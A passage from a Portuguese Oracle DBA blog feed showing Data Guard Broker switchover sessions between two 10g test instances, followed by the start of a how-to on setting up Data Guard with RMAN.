0);"&gt;Configuration&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Name:                mportes_dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Enabled:             YES&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Protection Mode:     MaxAvailability&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Fast-Start Failover: DISABLED&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Databases:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    n1 - Primary database&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    n2 - Physical standby database&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Current status for "mportes_dg":&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SUCCESS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; switchover to n2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Performing switchover NOW, please wait...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Operation requires shutdown of instance "n1dg" on database "n1"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Shutting down instance "n1dg"...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORA-01109: database not open&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database dismounted.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE instance shut down.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Operation requires shutdown of instance "n2dg" on database "n2"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Shutting down instance "n2dg"...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORA-01109: database not open&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database dismounted.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE instance shut down.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Operation requires startup of instance "n1dg" on database "n1"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Starting instance "n1dg"...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE instance started.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database mounted.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Operation requires startup of instance "n2dg" on database "n2"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Starting instance "n2dg"...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE instance started.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database mounted.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Switchover succeeded, new primary is "n2"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; show configuration&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Configuration&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Name:                mportes_dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Enabled:             YES&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Protection Mode:     MaxAvailability&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Fast-Start Failover: DISABLED&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Databases:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    n1 - Physical standby database&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    n2 - Primary database&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Current status for "mportes_dg":&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SUCCESS&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Pronto! Viu só? Bastou "switchover to &lt;fulano&gt;" e ele faz tudo. Não deixe de ver os alerts logs com o tail -f.&lt;br /&gt;Vamos verificar!&lt;br /&gt;&lt;/fulano&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ echo $ORACLE_SID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;n2dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ sqlplus / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 10.2.0.3.0 - Production on Tue Jun 12 00:44:02 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; select NAME, OPEN_MODE, PROTECTION_MODE, PROTECTION_LEVEL, REMOTE_ARCHIVE, DATABASE_ROLE,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2         SWITCHOVER_STATUS, DATAGUARD_BROKER, FORCE_LOGGING&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3  from v$database&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4 /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;NAME      OPEN_MODE  PROTECTION_MODE      PROTECTION_LEVEL     REMOTE_A DATABASE_ROLE    SWITCHOVER_STATUS    DATAGUAR FOR&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------- ---------- -------------------- -------------------- -------- ---------------- -------------------- -------- ---&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;N1DG      READ WRITE MAXIMUM AVAILABILITY MAXIMUM AVAILABILITY ENABLED  PRIMARY          SESSIONS ACTIVE      ENABLED  YES&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1 row selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ export ORACLE_SID=n1dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ sqlplus / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 10.2.0.3.0 - Production on Tue Jun 12 00:45:25 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; select sequence#, dest_id, creator, registrar, archived, applied, status from v$archived_log order by 1;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    SEQUENCE#       DEST_ID CREATOR REGISTR ARC APP S&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------- ------------- ------- ------- --- --- -&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            2             2 ARCH    ARCH    YES NO  A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            3             2 ARCH    ARCH    YES NO  A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            4             2 ARCH    ARCH    YES NO  A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            5             1 ARCH    ARCH    YES YES A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            5             2 ARCH    ARCH    YES NO  A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            6             1 ARCH    ARCH    YES YES A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            6             2 ARCH    ARCH    YES NO  A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            7             1 ARCH    ARCH    YES YES A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            7             2 ARCH    ARCH    YES NO  A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            8             1 ARCH    ARCH    YES YES A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            8             2 ARCH    ARCH    YES NO  A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            9             2 ARCH    ARCH    YES NO  A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            9             1 FGRD    FGRD    YES YES A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;           10             1 ARCH    ARCH    YES YES A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;           10             2 ARCH    ARCH    YES NO  A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;           11             1 ARCH    ARCH    YES YES A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;           11             2 ARCH    ARCH    YES YES A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;           12             1 ARCH    ARCH    YES YES A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;           12             2 ARCH    ARCH    YES YES A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;           13             2 LGWR    LGWR    YES YES A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;           13             1 FGRD    FGRD    YES YES A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;           14             2 LGWR    LGWR    YES NO  A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;           14             1 FGRD    FGRD    YES YES A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;           15             2 LGWR    LGWR    YES NO  A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;           15             1 FGRD    FGRD    YES YES A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;           16             1 FGRD    RFS     YES YES A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;           16             2 FGRD    FGRD    YES NO  A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;           17             1 ARCH    RFS     YES YES A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;           18             1 ARCH    RFS     YES YES A&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;29 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Voltando para o nó N1.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ dgmgrl&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL for Linux: Version 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 2000, 2005, Oracle. All rights reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Welcome to DGMGRL, type "help" for information.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; connect sys/oracle&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; show configuration&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Configuration&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Name:                mportes_dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Enabled:             YES&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Protection Mode:     MaxAvailability&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Fast-Start Failover: DISABLED&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Databases:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    n1 - Physical standby database&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    n2 - Primary database&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Current status for "mportes_dg":&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SUCCESS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; switchover to n1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Performing switchover NOW, please wait...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Operation requires shutdown of instance "n2dg" on database "n2"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Shutting down instance "n2dg"...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORA-01109: database not open&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database dismounted.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE instance shut down.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Operation requires shutdown of instance "n1dg" on database "n1"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Shutting down instance "n1dg"...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORA-01109: database not open&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database dismounted.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE instance shut down.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Operation requires startup of instance "n2dg" on database "n2"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Starting instance "n2dg"...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE instance started.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database mounted.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Operation requires startup of instance "n1dg" on database "n1"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Starting instance "n1dg"...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE instance started.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database mounted.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Switchover succeeded, new primary is "n1"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; show configuration&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Configuration&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Name:                mportes_dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Enabled:             YES&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Protection Mode:     MaxAvailability&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Fast-Start Failover: DISABLED&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Databases:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    n1 - Primary database&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    n2 - Physical standby database&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Current status for "mportes_dg":&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SUCCESS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DGMGRL&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ echo $ORACLE_SID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;n1dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ export ORACLE_SID=n2dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ sqlplus / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 10.2.0.3.0 - Production on Tue Jun 12 00:54:16 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; SELECT  PROCESS, STATUS,SEQUENCE#,BLOCK#,BLOCKS, DELAY_MINS FROM&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2                 V$MANAGED_STANDBY;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PROCESS   STATUS           SEQUENCE#        BLOCK#        BLOCKS    DELAY_MINS&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------- ------------ ------------- ------------- ------------- -------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ARCH      CLOSING                 23             1            67             0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ARCH      CLOSING                 22             1             1             0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;MRP0      APPLYING_LOG            24            14        102400             0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;RFS       IDLE                    24            15             1             0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;RFS       IDLE                     0             0             0             0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;RFS       IDLE                     0             0             0             0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;6 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PROCESS   STATUS           SEQUENCE#        BLOCK#        BLOCKS    DELAY_MINS&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------- ------------ ------------- ------------- ------------- -------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ARCH      CLOSING                 23             1            67             0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ARCH      CLOSING                 22             1             1             0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;MRP0      APPLYING_LOG            24            17        102400             0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;RFS       IDLE                    24            18             1             0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;RFS       IDLE                     0             0             0             0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;RFS       IDLE                     0             0             0             0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;6 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Uma última consideração, quando configuramos o broker para gerenciar o Dataguard, até a versão 9i, não há necessidade de abrir o banco, é possível somente levantar os nós em NOMOUNT que ele faz o resto. Já na versão 10g, é necessário MONTAR o banco para que o broker levante e sincronize os nós.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Um lembrete: Use as instruções acima para exercício em ambiente TESTE e por sua conta e risco!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-4459268376332775228?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/4459268376332775228/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=4459268376332775228' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/4459268376332775228'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/4459268376332775228'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/06/broker-dataguard-e-real-time-apply-10g.html' title='Broker, Dataguard e Real-Time Apply - 10g'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-5635225526990777705</id><published>2007-06-03T19:03:00.000-03:00</published><updated>2007-06-12T02:17:17.671-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='how to'/><title type='text'>Montar Dataguard - 10g</title><content type='html'>A tecnologia de alta disponibilidade e proteção de dados da Oracle é bastante &lt;a href="http://www.oracle.com/technology/deploy/availability/htdocs/DataGuardOverview.html"&gt;divulgada pelo próprio site e por seus manuais&lt;/a&gt;. Então, para escrever esse "&lt;span style="font-style: italic;"&gt;howto&lt;/span&gt;", tive a intenção de escrever um guia rápido e mostrar a facilidade do processo quando usamos o RMAN. Considere também que a instalação foi feita em uma única máquina - meu desktop.&lt;br /&gt;&lt;br /&gt;Resumo do que farei a seguir:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;- Criar uma instância do zero.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;- Modificar os parâmetros para que seja aceito o data guard (archivelog e alguns parâmetros do spfile).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;- Backup do banco usando o RMAN,  já exportando controlfile para standby.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;- Criação do standby database.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;- Configurar o Data Guard para Realtime Apply.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;- Criar a configuração para o Broker gerenciar o Data Guard.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;- Teste de Switch over.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Criar uma instância do zero ou configurar uma já existente para o standby depende do seu cenário para o teste. No meu caso, eu usei o &lt;span style="font-style: italic;"&gt;dbca&lt;/span&gt; e criei uma instância do zero. O nome é &lt;span style="font-weight: bold;"&gt;n1dg&lt;/span&gt;, que será meu nó primário.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ export ORACLE_SID=n1dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ sqlplus / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 10.2.0.3.0 - Production on Sun Jun 3 23:20:17 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;br 